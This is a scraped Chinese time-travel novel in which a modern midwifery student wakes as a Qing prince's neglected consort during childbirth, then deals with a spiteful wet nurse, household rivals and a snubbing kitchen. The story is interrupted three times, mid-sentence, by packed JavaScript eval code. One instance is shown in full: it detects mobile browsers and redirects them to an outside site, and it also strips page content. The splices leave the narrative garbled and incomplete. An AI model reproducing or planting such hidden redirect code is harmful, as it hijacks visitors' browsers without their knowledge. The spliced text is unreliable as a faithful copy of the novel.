《穿越清朝养娃记》 1. 一来就生娃 冬日里,寒风凛冽。 京城四阿哥府上一个小院子里灯火通明,正屋堂上坐着四福晋,以及几个格格,众人听着产房里传来的一声又一声痛呼,面上神色各异。 “格格撑住啊,这时候千万不能晕过去,否则孩子就得憋在肚子里了呀!”稳婆焦急地喊道。 可此时躺在床榻上的女人额头上渗满了汗水,脸色惨白如纸,呼吸已经微弱下来,意识也逐渐飘散,眼见着是不成了。 稳婆见状心道不好,慌忙便跑出产房外朝坐在上首的四福晋福了福身。 “福晋,宋格格的情况怕是不大好...” 福晋一听这话就皱起了眉头:“到底怎么样了?” 稳婆道:“格格身子本就孱弱,这会子已经没力气生了,再耽搁下去...奴才该死,还请福晋拿个主意,是保大还是保小?” 福晋眉头皱的更深了,如今主子爷不在府中,她不好拿这个决断,左右都是错,可听着产房里几乎没有声音了,也知道耽误不得,于是便咬牙道:“你去,尽力使母子平安,若是...若是万分不得已的时候,便保住孩子吧!” 说完这话福晋叹了口气,心道这宋氏真是个没福气的,前一个生的大格格都没撑到足月就没了,如今好不容易又怀了,竟是这般艰难。 产房内稳婆得了话心中也定了定,正打算用手进去将孩子拽出来,否则再憋下去母子两个都要活不成了。 却在这时宋格格的贴身丫鬟白薇惊呼了一声:“格格醒了!” 从混沌中清醒过来的宋时繁还没来得及搞清楚状况,就感受到了身下撕裂般的疼痛,她猛然反应过来,她居然在生孩子。 明明上一秒她还在为即将到来的期末考试读书奋战到深夜,怎么一睁眼就在生孩子了?! 但身下一阵一阵的疼痛提醒着她这一切都是真实发生的。 好在宋时繁学的便是助产专业,此时也知道自己不能太紧张,否则情况只会更糟,于是她试着调整呼吸,慢慢将身体放松了下来。 稳婆见宋格格醒了过来,眼中闪过一丝喜色,连忙上前道:“格格您可算是醒了,快,再使使劲儿,孩子就快出来了。” 宋时繁深吸一口气,虽然理论知识学了一大堆,可真正实践却是头一回。 更何况现在这副身体的状况显然并不好,她只觉得自己已经用尽了全身的力气,可肚子里的孩子却似乎依旧没有出来的迹象。 这样下去不行,于是宋时繁喊来稳婆:“你快帮帮我,用手推一推吧…” 稳婆心知没有别的办法了,于是往宋格格嘴里塞了两片人参,口中道:“格格忍着些!”便开始用力推宋格格的肚子。 宋时繁只觉得肚子被一股大力挤压着,几乎要疼得喘不过气来,但她知道若是再生不出来,别说孩子了,怕是连她自己也要一命呜呼了。 于是宋时繁尽量放松自己的身体去配合稳婆的动作,终于,她突然感觉到身下一松,紧接着一股暖流涌出,宋时繁心中一喜,知道孩子终于是出来了,随即便因为累极晕过去了。 而稳婆看着浑身青紫的孩子一时也不知道说什么好,瞧这孩子瘦弱的,哭声几乎没有,也不知能不能活得成,不过这话稳婆也只能在心里想想,一丝一毫都不敢露出来。 随后稳婆赶紧将孩子包裹好抱出了产房去给福晋报喜。 “恭喜福晋,宋格格生了个小格格,只是宋格格这胎生的艰难身子亏损严重,怕是要好好调养一阵子了。”福晋只是点了点头,稳婆见福晋不说话,又小心翼翼道:“小格格身子也弱得很...” 福晋闻言看了眼稳婆手上的孩子,见那孩子瘦弱的可怜便赶紧让稳婆将孩子抱下去,“让人好生照看着吧。” 另一头的宋时繁晕过去后便陷入了一片黑暗,迷迷糊糊间似乎回到了家里,她的爸爸妈妈好像在跟她说些什么,可宋时繁根本听不清他们在说什么,只能看见他们嘴巴一张一合。 正当宋时繁努力想要听清的时候,画面又发生了变化。 她看见一个穿着旗装的小女孩正在花园里追着蝴蝶玩耍,她笑起来的样子天真烂漫,眼中闪烁着无尽的快乐,宋时繁不禁被这小女孩的笑容所感染,心中涌起一股莫名的亲切感。 宋时繁此时完全不能控制自己的身体,只是作为一个旁观者被动地跟着小女孩的人生历程走。 后来小女孩长大被选入宫分到了德妃娘娘的宫里当宫女,再然后又被德妃送去伺候四阿哥,成为了四阿哥的格格,再是初次怀孕的欣喜,丧子之痛,后来又怀上身孕的惶惑不安,一桩桩一件件历历在目。 再次到了生产的时候,小女孩痛得脸色惨白,豆大的汗珠一颗颗落下,一旁的宋时繁焦急万分,很想上去帮帮她,但此时的宋时繁只是一个虚空的影子,什么也做不了,终于小女孩坚持不住了,意识逐渐涣散,竟是就这么去了。 而宋时繁终于像是找回了自己的身体一样朝着床榻上的小女孩扑上去。 “不要!”宋时繁猛地睁开了眼睛,大口大口地喘着粗气,似乎还没有完全从梦中缓过神来,她转头看了看四周,入目皆是古色古香的装饰,显然这里并不是她熟悉的地方。 她又低头看了看自己的双手,虽然看起来和原来的手没有什么不同,但那种不属于她的陌生感却挥之不去。 再回想梦中的种种,宋时繁叹了口气,看来她是真的穿越了,不光如此,还穿越到了清朝,成为了雍正潜邸时期的宋格格,刚才梦中的一切怕就是宋格格曾经的真实经历了。 想到宋格格这一生,没有宠爱不说,还接连死了两个孩子,自己身体也不好,哎,真是光想一想就头疼。 这时候丫鬟白薇推门进来,见宋时繁醒了过来,连忙上前道:“格格您可算是醒了,您不知道,您这一晕就是整整三天三夜,奴才们都吓坏了。” 宋时繁闻言愣了一下,随即反应过来自己是在生孩子的时候晕过去的,这么说来,孩子已经生出来了? 于是宋时繁连忙问道:“孩子怎么样了?能抱来我看看吗?”也不知道自己这算不算是喜当妈了,宋时繁苦中作乐的想道。 可丫鬟却面露难色:“小格格她身子太过虚弱了,不宜抱出来...” 宋时繁一看白薇的脸色便知道这孩子怕是不好。 确实,母体孱弱,生产的时候又是难产,古代卫生条件也不过关,想把这个孩子养大恐怕极不容易,但孩子既然生出来了,不管出于什么考虑,宋时繁都会尽自己所能照顾好这个孩子让她长大成人的。 随后宋时繁又问起了自己的身体状况,白薇道:“格格您这次生产损耗极大,福晋已经请了太医来给您诊脉,说是要好好调养才行。” 宋时繁点了点头,心中却有些无奈,这具身体原本就孱弱,再加上生产时的损耗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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想到这里宋时繁不再沉默,而是淡淡道:“嬷嬷既然是福晋亲自为小格格挑选的奶娘,自然是瞧不上我这样的卑微身份,竟是连抱一抱自己的孩子都是不配了,也罢,我这便去求一求福晋,好歹让福晋将孩子抱了去!” 宋时繁此言一出,房氏和赵氏两人皆是一愣,没想到宋格格竟如此直接,也不顾及自己的脸面,竟说要请福晋来养小格格。 两人对视一眼,眼中皆闪过一抹慌乱,若是真惊动了福晋,她们可就没好日子过了,毕竟这说出来还是她们做奴才的想要欺辱主子。 于是房氏连忙赔笑道:“宋格格这是说的哪里话,咱们都是伺候小格格的,哪里敢有什么不敬之处,只是宋格格刚生产完,身子还虚着呢,抱孩子这样的事还是交给咱们这些做惯了的奴才吧。” 宋时繁闻言只是淡淡一笑,并不言语,只是定定地看着房氏,直到房氏心里发毛,这才开口道:“嬷嬷既然知道自己是做奴才的,那就该知道什么该做什么不该做,我虽只是个格格,但好歹也是小格格的生母,想看一看自己的孩子不过分吧?” 房氏闻言只得讪讪一笑,将怀中的小格格递给了宋时繁,宋时繁小心翼翼地接过孩子,只见孩子小脸通红,呼吸微弱,显然是热着了。 于是宋时繁连忙将襁褓解开了一些,又让人将火盆子撤了几个下去,好歹是让屋子里没有那么闷热了。 恰在此时,四阿哥来了宋格格的小院里看孩子。 2. 惩治奶娘 四阿哥一进门便看见宋时繁抱着孩子坐在榻上,而一旁的丫鬟正忙手忙脚地往外撤火盆子,四阿哥见状不由得皱了皱眉,问道:“这是做什么呢?” 宋时繁不妨屋子里突然有人说话,很是吓了一大跳,顺着声音抬头看去发现是一名长身玉立的男子,年纪大约在二十岁上下,身穿宝蓝色圆领长袍,领口和袖口都绣着繁复的花纹,腰间系着一条玉带,下方还悬着一块精致的云纹玉佩,整个人显得沉稳又威严。 宋时繁随即反应过来,这肯定是四阿哥无疑了,毕竟可以在皇子府后院里进出自由的男人除了太监还能有谁呢? 一想到这就是未来的雍正皇帝,自己还莫名其妙成为了未来皇帝的女人,宋时繁就忍不住又多看了四阿哥两眼。 反观四阿哥见自己一进门这宋氏便打量着自己,仿佛是很不熟悉一般,心中不禁产生了些疑惑,但转念想到许是自己前段时间跟着皇阿玛去了蒙古打仗,跟宋氏许久未见,连宋格格生产都没赶上。 当然了,后院里一个格格生产也不需要他太过上心,不过女人总是敏感些的,再加上宋氏此番生产凶险无比,差点就将小命给交代了,想是再次见面便生出了恍如隔世之感,所以才盯着自己不停地瞧。 这么一想四阿哥就释然了,毕竟四阿哥可不知道他的格格内里已经换了个芯子,只当是宋氏想念自己了。 很好,四阿哥已经自己将宋时繁一番失礼的动作给圆了回来。 这边宋时繁也回过神来,想到自己现在身处规矩森严的清朝,不能随心所欲,她暗自懊恼,自己怎的如此失态,竟在四阿哥面前失了礼数,毕竟要是不出意外,这位以后可就是自己的衣食父母了。 于是宋时繁连忙站起身来,想了想又冲着四阿哥鞠了一躬,口中还不忘找补着:“给主子爷请安。” 只说请安,旁的却是没说,也别怪宋时繁暂时还说不出口“奴才”二字,毕竟刚从民主自由的社会穿过来,心里知道是一回事,但真到了要把自己当奴才的时候,宋时繁还是有一些别扭的。 好在四阿哥见宋时繁这不伦不类的行礼动作,只当她是抱着孩子不方便,也没有计较什么,挥了挥手示意她不必多礼,宋时繁见状悄悄松了一口气。 随后四阿哥走到塌边,低头看了一眼宋时繁怀中孩子,就看见孩子十分瘦弱,小小的眉头紧锁着,想哭又哭不出声的样子,仿佛正在经历什么痛苦,四阿哥见状都不敢碰,生怕给孩子碰出什么好歹来。 看着孩子虚弱的样子四阿哥不禁心中一紧,他是经历过丧子之痛的。 当初宋氏生的大格格是他的第一个孩子,那孩子生下来也是这样弱气,未足月便没了,叫他很是伤心了一番,如今宋氏再生的这个也是个身子弱的,想到这里心中就对宋氏有了不满。 这时候毕竟是古代,孩子生得不好自然都是女人们的错。 于是四阿哥便沉下脸色开口道:“奶娘们呢?你们是怎么照顾大格格的?” 没错,就算宋时繁再生了孩子按理来说还是应该叫大格格,毕竟宋氏前一个孩子去的时候太小了,还没有序齿,若是这个孩子也养不住,府里再有孩子降世的话仍是得叫大格格的,想到这里宋时繁默默垂下了头,哎,古代真是没有人权啊! 就在宋时繁走神的时候,一旁的奶娘们早被四阿哥吓得跪了一地开始求饶。 其中属奶娘房氏的声音最大:“主子爷饶命,主子爷饶命,奴才对大格格不敢不尽心,只是...”一边说着还一边用眼睛瞄宋时繁的脸色,一副惧怕不已又似有苦衷的样子。 宋时繁一听房氏说的话心里就笑开了,原本还琢磨着该如何叫四阿哥知道奶嬷嬷们奴大欺主,如今这房氏居然自己送上门来,真是个蠢的。 本来嘛,宋氏就算再不得宠,好歹是四阿哥的女人,而且还是第一个跟着伺候的,又是宫里德妃娘娘亲自指给四阿哥的,从阿哥所的时候就跟在四阿哥身边了,就算孩子生得不好引得四阿哥不喜,那也还是有几分面子情的,房氏若以为只凭借几句似是而非的话就能叫四阿哥厌了宋氏那才真是小瞧了四阿哥呢。 想也知道,四阿哥毕竟是在皇宫里长大的,宫中勾心斗角的事可不少,四阿哥从小就见得多了,他也是有妹妹的,若不是有额娘镇着,妹妹还不知道要被奶娘们如何拿捏呢,四阿哥怎会看不出房氏的用心。 想到这里四阿哥脸色就更阴沉了一些,却也没急着说话,缓了缓语气才道:“你是福晋选上来的?” 房氏一听这话只以为四阿哥是相信了自己说的,眉眼当中的喜色都快要溢出来了,连忙回道:“正是呢,福晋主子一早就交代了奴才要好好伺候大格格,但宋格格刚来便嫌弃奴才们伺候的不好,又是要撤火盆子又是要开窗,哎不是奴才僭越,宋格格毕竟年轻,怕是不懂如何养孩子呢...” 房氏这边还在喋喋不休,四阿哥脸色已经阴沉的不像话了,一旁四阿哥的贴身太监苏培盛揣度着四阿哥的意思一脚就踹在了房氏的身上:“狗奴才!你有几条命竟在这里无故攀咬主子?” 苏培盛虽说是个太监,但力气着实是大,一脚便将那房氏踹倒在地上起不来了,把个房氏疼得直唉哟。 四阿哥看着倒在地上的房氏,沉声道:“你们一个个的,仗着福晋的势,连爷的女人孩子都敢欺负,我竟不知这府里原是你们在当家做主了!” 房氏一听这话哪还不知道自己是犯了四阿哥的忌讳了,当即便被吓得魂飞魄散,也顾不得喊疼了,忙又跪下开始磕头:“主子爷饶命啊,奴才知错了,奴才知错了,求主子爷饶了奴才吧!奴才再也不敢了!宋格格您替奴才求求情呀!” 宋时繁见房氏竟想拉自己下水,忙不迭的把头垂得更低了,一副被吓得不轻的模样,好不可怜。 四阿哥见状不免觉得宋氏懦弱无能了些,但又想到宋氏素来就不是拔尖的性格,奶娘又是福晋亲自选了送来的,宋氏就算有想法到底也不敢说什么。 想到这里四阿哥对房氏更加生气,狠狠瞪了房氏一眼后直接叫苏培盛将人撵出府去,“此等欺主的恶奴还不快撵了去!” 苏培盛闻言忙不迭地叫来两个小太监,把房氏口鼻捂住不让她再哭喊惊扰主子爷,然后便架住房氏的胳膊将人拖了出去。 等房氏被拖走后,四阿哥又看向房中另一位奶娘赵氏,赵氏早已经吓得不行,跪在地上头都不敢抬起来。 宋时繁见状抓住机会轻声说道:“爷别气坏了身子,这赵氏还算是个好的,不曾有怠慢之处,大格格本就体弱,若是身边一个熟悉的人都不留,吓着孩子了也不好呢。” 四阿哥想了想也确实是这么个理,孩子本就弱气,禁不住吓,于是便朝宋时繁点点头道,“回头爷让苏培盛再选个好的奶娘给你送来,若是孩子再有什么不妥你也不必顾及,叫人来前院找爷,万事都没有孩子重要,宋氏你明白吗?”说到最后语气都加重了。 宋时繁知道这是四阿哥在敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13045499|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打自己呢,也是,连一个奶娘都能随便欺负到宋氏的头上,想也知道原先的宋氏肯定是个性子温良,立不起来的,搞不好前头一个大格格就是这么耽误没的,四阿哥这话倒也不算冤枉,于是宋时繁利落地低头应是。 四阿哥见宋氏还算乖觉,脸色才稍微缓和了一些,随即吩咐屋中众人:“你们好好伺候着,若是大格格再有什么闪失,你们就自己掂量着吧!” 敲打完众人四阿哥又低头看了一眼宋时繁怀中的孩子,终究不放心,到底还是让人请太医去了,自己也没离开,反而转身坐下了,料想应该是打算等太医来看过孩子再走。 宋时繁看着四阿哥这一番举动心中还是有些动容的。 大格格是四阿哥亲生的不假,可毕竟四阿哥是皇子,想要多少女人给他生孩子都不成问题,更别说现在普遍还是重男轻女的观念,格格说到底还是不如阿哥金贵的,宋时繁知道自己不能用现代人的眼光来看待四阿哥,所以四阿哥能做到这一步已经很好了。 想到自己以后跟孩子都要被困在这皇子府里过活了,若是四阿哥能宽容些,想必她们娘俩的日子也能好过一些吧。 正在宋时繁胡思乱想间,太医到了。 太医姓王,尤其擅长儿科,今日恰好不在宫中当值,便被请来了四阿哥的府上。 王太医见到四阿哥以后忙上前行礼,四阿哥连连摆手:“王太医不必多礼,快先看一看孩子吧。” 听出四阿哥语气里的重视,王太医也不敢轻慢,应了声是过后便上前给还在襁褓中的大格格看诊,一打眼心下就是一惊,无他,这孩子太弱了,看着就不好养活。 过了好一会太医才拱手道:“四阿哥不必担心,小格格这是被热着了,略有些上火,如今虽说是冬日,但屋子里也不宜燃过多的火盆,平时也要注意透透气,只要不冻着小格格就成,只是小格格娘胎里便带着弱,日后还需慢慢调养才是,我可以先开些滋补的方子,叫奶娘服下,如此小格格也能跟着受益。” 四阿哥闻言点了点头,知道王太医顾及也是没法子,孩子还太小,就算要进补也得慢慢来,于是便开口道:“倒是辛苦王太医跑这一趟了。”王太医忙称不敢便退了下去开药了。 太医走后四阿哥想起之前房氏说的话,心道宋氏毕竟是生育过的,虽说前一个孩子养得不好,但总归有些经验,也是真心疼爱孩子,便轻轻拍了拍宋时繁的手说:“委屈你了,你也刚生产完,不宜太过劳累,好好将身子养好是正经。” 宋时繁冷不防被四阿哥摸了手,心中有些不适,但是一想到自己现如今的身份,忙借着低头掩饰自己的情绪,可委实也不敢乱动,只能任由四阿哥抓着自己的手。 宋时繁内心苦笑,想她在现代虽说也谈过恋爱,可毕竟都是些小打小闹的,这会乍然成为了别人的合法小妾,还真得适应一段时间啊。 四阿哥只当宋氏是害羞了,心中对宋氏的不满也消减了几分,难得宋氏心地纯良,这么多年跟着自己也没犯过什么大错,到底是第一个伺候自己的,总归有些香火情,罢了,既然孩子生得不好以后不叫她生便是,但该有的也不能少了她的。 想到这里四阿哥看着宋时繁的眼神越发温柔,直把宋时繁看得都快发毛了。 终于,四阿哥看够了,开口对宋时繁说道“爷还有事便不陪你了。” 说完四阿哥便转身离开了屋子。 宋时繁看着四阿哥离去的背影,心中渐渐松懈了下来。 3. 府中诸人 四阿哥走后,宋时繁便在白薇的搀扶下回了房。 到底是刚生产完的身子,才折腾了这么一会儿宋时繁就觉得有些吃不消了,一回房便直接躺回了床上,过了好一会才算是缓过劲来。 哎原主这副身子还真是差劲啊,看来以后必须得好好调养一下才行,不过眼下最关键的还是应该先搞清楚府里的情况,毕竟自己现在人生地不熟的,很可能一个行差踏错就连命都丢了。 于是宋时繁便开始委婉地跟白薇套起话来。 “白薇你是从内务府分来吗?” 白薇愣了一下,不知这宋格格平时都是闷葫芦一个,今日怎么突然关心起自己来,但宋格格既然问了,白薇还是恭敬地回答道:“回格格的话,奴才并不是内务府分来的,奴才是主子爷刚开府那一年被管事的刘嬷嬷采买进府上的。” 宋时繁听了这话有些诧异便问道:“你的父母亲人呢?他们怎么舍得你...”只是刚说了一半便立即止住了话头,差点又忘了现在是在古代,能被买进皇子府当差,哪怕只是当一个奴婢,恐怕都是万分荣幸的。 果然就听白薇回答道:“奴才幼时家乡发大水,奴才的爹娘都去了,只剩下奴才跟哥哥相依为命,后来奴才的哥哥要娶嫂子,但家里银钱短缺,奴才便将自个儿卖了,也是奴才有福气,可巧遇上了刘嬷嬷,刘嬷嬷看奴才长得乖巧,便带奴才入了府,后来就被分配到了格格您这里来了。” 宋时繁闻言叹了口气,这白薇也是个苦命的,但原先的宋氏一直不得宠,也不见白薇捧高踩低,一直老老实实得在身边伺候着,可见算是个忠心的,如今自己刚刚穿过来,身边能有个得用的人也是好的。 想到这里宋时繁心中对白薇也放心了几分,于是便大着胆子继续打听了起来。 “说来我月份大了以后福晋便免了我的请安,又常有赏赐下来,可见咱们府上的福晋真是位宽厚的主子呢!” 白薇听见这话赞同地点了点头:“格格说得是呢,福晋虽然入府不足一年,不过向来是宽和待下的,只要下面人守着规矩福晋是很好说话的,听说从前福晋做姑娘的时候便早有贤惠的名声传出来,否则也不能叫皇上亲自指了给咱们主子爷做嫡福晋。” 这样说来自己以后的顶头上司应该是个看重规矩的,也好,重规矩比肆意妄为要好得多,这毕竟是在清朝,虽说自己现在是皇子的妾室,但说破大天到底也只是一个妾室,在正经上了皇室玉牒的嫡福晋面前,那最多就算个奴才,不叫你跟前跟后的伺候着都算仁慈了。 再次感慨古代没人权的宋时繁还是在心里默默盘算了起来。 如今自己只是四阿哥府上不得宠的小格格,又生了个病歪歪的女儿,处境不可谓是不艰难了,若要平平安安将孩子养大更是不容易。 唯一庆幸的是四阿哥仿佛很看重孩子,哪怕是女儿也十分关心,而嫡福晋也是个讲规矩的,自己只要好好守着规矩,想来应该不会有太大的麻烦。 不过福晋愿意讲规矩,其他的格格们可就难说了,宋时繁想起自己曾经看到的宫斗剧里,那些个女人为了争一个男人就打破头的场景当即吓得打了一个哆嗦。 就自己这点脑子若真要天天跟一群古人勾心斗角那还不为难死她了,她宋时繁一个现代人哪里玩得过土生土长的古人啊。 想到这里宋时繁连忙开口问白薇:“不是说跟福晋一起还被指过来两个格格吗?如今应该已经进府了吧?我怀孕到生产也许久没有出门了,不知道这几位刚入府的格格脾性如何呢?” 白薇见宋时繁脸上有些愁容,便以为她是担心自己本就不得四阿哥宠爱,如今又有新人入府,怕以后的日子难过。 于是连忙出言安慰:“格格不必担心,您是从阿哥所里便跟着主子爷的,到底不同些,便是如今最得宠的李格格还比您晚了几个月伺候主子爷呢,李格格见了您不也十分客气,而且格格您刚给主子爷生了大格格,大格格如今可是咱们府里唯一的孩子,主子爷定是看中的,格格您还在做月子呢,切不可多思多想啊!” 宋时繁一听白薇这劝慰的语气就知道她是误会了,但宋时繁也不解释,由着她误会也好,这样自己接下来的话就好问出口了。 “哎,主子爷到底是不常来我这里的,大格格的身子也差得很,我这里恩宠是不必想了,你便跟我说一说新入府的格格们性情如何,以后总归是要相处在一处呢。” 白薇见宋时繁语气坚定,也不敢再劝,怕说得深了再引得宋时繁难过就不好了,于是便跟宋时繁说起了新入府的两位格格,希望能转移一下宋时繁的注意力。 “新来的格格们是跟着福晋同一批选秀的秀女,只不过比福晋晚半年进府,以示对嫡福晋的尊重,格格您生产前她们才刚入府,所以您还没有见过呢。” “两位格格中身份略高一些的是武格格,武格格出身汉军镶黄旗,父亲是正七品知县,奴才并不曾见过武格格,所以也不知道武格格性情如何,只听说她生得极美,见人就爱笑,仿佛很是活泼的样子,大约是好相处的。” “另一位是郭格格,郭格格比起武格格来身份就不显了,不过郭格格面若银盘,身姿丰庾,宫里的德妃娘娘说她看着便是个有福气的,便指给了咱们主子爷。” 果然,皇室中的人还是更加看重子嗣的,说起来也是,就如今四阿哥的府上来说,子嗣确实是单薄了些,宋时繁又想到历史上的雍正好像也是子嗣不丰的样子嘛。 这也难怪德妃娘娘着急了,她虽说是四阿哥的生母,但到底远在宫中,不好插手四阿哥府中的事务,只能多选点人送进来了,宋时繁自己不也是被德妃指给四阿哥的嘛。 不过这么一想,四阿哥岂不成一只等待配种的公猪了?宋时繁心中不禁觉得有些好笑,但一想到自己现如今也是四阿哥后院当中的一员了,顿时便觉得有些别扭。 好在白薇紧接着又开口道:“郭格格平时不爱说话,奴才也只在花园里见过一面,当时郭格格坐在亭子里绣花,奴才不敢上前打扰,只远远地请了个安便退下来了,现在回想起来郭格格气质沉静,看着便是好脾气的样子。” 宋时繁默默记下了白薇说的话,又顺口问道:“两位格格哪个更得宠些呢?” 白薇闻言犹豫了一下,还是答道:“两位格格都是才入府,不过武格格的出身到底高一些,想来应该更得主子爷青眼些吧,郭格格那边听说主子爷还未曾去过呢。” 宋时繁听完后,心里对这两位新入府的格格就有了几分了解:武格格出身不错,长得又美,性格还活泼,应该是个会来事儿的,假以时日约莫是能够得宠的,而郭格格虽然出身低了些,可是宫里的德妃娘娘亲自给她盖过戳了,在府里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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这府里福晋的膳食都是膳房里单独做好后按时按点送过去,丝毫不敢耽误,得宠的李格格也不需要自己去提膳,自有膳房里愿意讨好的人往李格格屋里送。 可宋时繁这里虽说刚生了大格格,但府里明眼人都知道,宋时繁这胎还是生得不好,以后宠爱就别想了,所以根本不会有人来烧宋时繁这边的冷灶。 当然白薇也习惯了,一直都是自己去提膳,但主子身边的大丫鬟亲自去膳房提膳的事根本没有,倒是一直叫府里人都看了笑话。 可白薇也没法子,虽说宋格格单独住了一个小院,可能使唤的人真心不多。 粗使的丫鬟不顶用,院里倒是还有两个小太监,但每次找他们都一副“我们只管着院子里的事,格格近身的事我们做太监的不敢沾染”,几乎要不拿宋格格当主子看,还整天钻营着想去李格格院子里做事。 从前的宋格格不愿意惹事,白薇倒是提过一次,但原来的宋格格生怕招了主子爷的厌烦什么都不敢说,只是自己默默忍下屈辱。 如今白薇能感觉到自己的主子好像有了些变化,也许是因为生了孩子便想要立起来了,但不管怎么说,主子有了自己的主意,这便是好事,白薇跟着心里也有了盼头。 不过如今的主子仍在月子当中,这点小事还是不要叫她操心的好,反正丢人也不是一回两回,事情也要慢慢谋划的,还是以后找机会再告诉格格吧,白薇一边往膳房走一边在心中默默思量着。 白薇想得是很好,可今天刚一到膳房,白薇就明显地感觉到被怠慢了。 4. 膳房为难 白薇一进膳房,就看见武格格身边的太监小英子正跟膳房里的钱太监有说有笑的,小英子也不知道往钱太监袖口里塞了什么,反正钱太监笑得几乎是见牙不见眼,可钱太监看见白薇的时候脸上笑容却立即敛住了。 白薇心里跟明镜似的,她一直都知道膳房里的这些太监们都是见钱眼开的主儿,尤其是钱太监,他这姓真是没姓错,那可真叫一个爱钱如命。 虽说钱太监只是膳房里负责做面点的师傅,但钱太监是从宫里跟来府上的,在膳房里还是很能说得上话的,所以府上众人都愿意跟钱太监打好关系,毕竟府里人想往膳房送银子也得有个去处不是。 往常钱太监向来是瞧不上宋格格那边的,连带着白薇来的时候也没少受钱太监的白眼。 理由也很简单,原先的宋格格实在是太穷了。 虽然宋格格是一早就跟着主子爷的,但一直算不上得宠。 宋格格又是包衣出身,说白了从前就是伺候人的,家里根本顶不上用,若不是做了德妃娘娘身边的宫女,怕是连四阿哥的边都沾不上。 可想而知,宋格格本身几乎是没有积蓄的,就更谈不上来膳房打点了,自然不得膳房里的人待见,毕竟没好处的事谁愿意上赶着干呢? 白薇深知这其中的利害关系,因此她每次来膳房都是小心翼翼,生怕惹了膳房的太监们不高兴,带累得自己主子吃不上再好饭好菜。 毕竟格格的份例虽说是定死了的,但给什么菜到底还得膳房里的人说了算的。 往日里膳房虽说有些怠慢,可也就是为难一下白薇,到底不敢真的短了宋格格什么,虽然轮不上什么好东西,热菜热汤还是有的。 可今日白薇来了却根本就没有人搭理她,钱太监更是当作没看见白薇一样,转身便进了厨房,白薇心中一沉,她知道膳房的人这是在故意刁难自己,可如今主子还在月子中,若是真饿着了可怎么好? 但她又不好直接进厨房,无奈之下只得上前几步,拉住了院里的一个正在择菜的一个小太监,脸上堆着笑道:“劳烦这位哥哥帮我问问,我们宋格格的膳食好了没有?” 那小太监斜睨了白薇一眼,没好气地道:“没看见今儿膳房里忙得跟陀螺似的?你瞧瞧谁又空闲了?我这手头上都是活,哪里有功夫帮你看呐!” 白薇被这小太监拿话一噎,半天说不出一个字来,她本就不是会跟人争执的性子,这会叫小太监一通抢白也只是略有些不甘地皱了皱眉,因为今天确实是她来得晚了些。 可转头白薇就看见钱太监谄媚地拿出一个食盒递给了小英子,小英子也仿佛是故意地一般,还掀开食盒瞧了瞧,白薇远远就就瞧见食盒里不少的好东西,甚至还着意添了道点心在里头,要知道,格格们的份例里可是没有点心的。 白薇的心中顿时便有些不是滋味了,到底还是没忍住开口说道:“按理说格格们的份例合该是一样的,宋格格又是刚刚生产完,更应该多多进补,我也知道诸位忙得很,可小英子也是来迟了,怎得武格格的膳食就有了,我们格格的膳食却又忙不过来呢? 白薇这番话说得不算委婉,言下之意也是再明显不过的。 岂料小英子却是撇了撇嘴,不以为意地道:“钱公公,您可听见了,这白薇姑娘倒是会找茬得很,咱们武格格昨儿伺候了主子爷,爷心疼格格辛苦,便叫格格多休息休息,这才晚了耽误了用膳,到底比不上你们宋格格那里,向来是清闲的很,什么时候用膳都是成的,白薇姑娘你说是不是这个理啊?” 白薇被小英子一番话呛得脸色涨红,一时间竟是说不出什么反驳的话来。 小英子看见白薇这样,脸上露出了一丝得意的笑容,随即也不再理会白薇,转身离开了膳房,留下白薇一人站在膳房的院子里,脸色难看至极。 可她也无可奈何,现在只能寄希望于膳房里的人到底顾及着点主子,快些把宋格格的膳食做好,让她能够早些回去。 白薇心里清楚,这府里的膳房向来是看人下菜碟,如今武格格新进府就得宠,他们自然是要巴结的,而她们宋格格那边,却是越来越不受待见了。 哎,不得宠的格格就是这样,府中上下没一个人把宋格格当回事。 而另一边没被当回事的宋时繁这会已经饿坏了,肚子里咕咕叫的声音此起彼伏,简直要唱起交响乐了,原本她还靠在床榻上等着白薇回来,可久久都看不见白薇的身影。 饿极了的宋时繁便慢慢挪下床坐到桌边倒了杯水喝,好歹能让胃里有点东西,不至于一直跟她抗议。 她忽然觉得有些好笑,从前看的那些穿越小说里,别人穿越起来要么是武艺高强可以驰骋武林;或者是有金手指傍身,从此呼风唤雨,锦衣玉食;再不济也是风华绝代,引得无数男人竞折腰。 可怎么轮到自己穿越,摊上了一副半死不活的身体,成了别人的妾室,还正巧赶上生孩子的时候过来,半点好处没捞着不说,好不容易捡回条命,这会竟然还饿得只能喝水。 老天爷啊,她都已经穿成了妾室,这么适合当个金丝雀的身份了,为什么还会挨饿呀!真不知道到底是哪里出了问题,难不成上辈子乱扔垃圾了? 不过笑归笑,肚子饿的滋味是真地不好受啊,宋时繁叹了口气,正打算再倒杯水喝,便看见白薇抱着食盒走了进来。 宋时繁激动地就差热泪盈眶了:“呜呜呜,白薇你终于回来了,我快饿死了!” 刚进门的白薇被唬了一跳,恨不得丢了食盒就去捂住宋时繁的嘴:“格格不要乱说话!这都是忌讳!府上不能说这些话的...” 宋时繁自知失言,不好意思地摸了摸鼻子,又笑道:“好啦好啦,我知道了,下次一定不会说啦!快快快,我要吃饭!” 白薇见宋时繁答应地义正言辞,这才放心,随后便将食盒打开,把菜摆了出了。 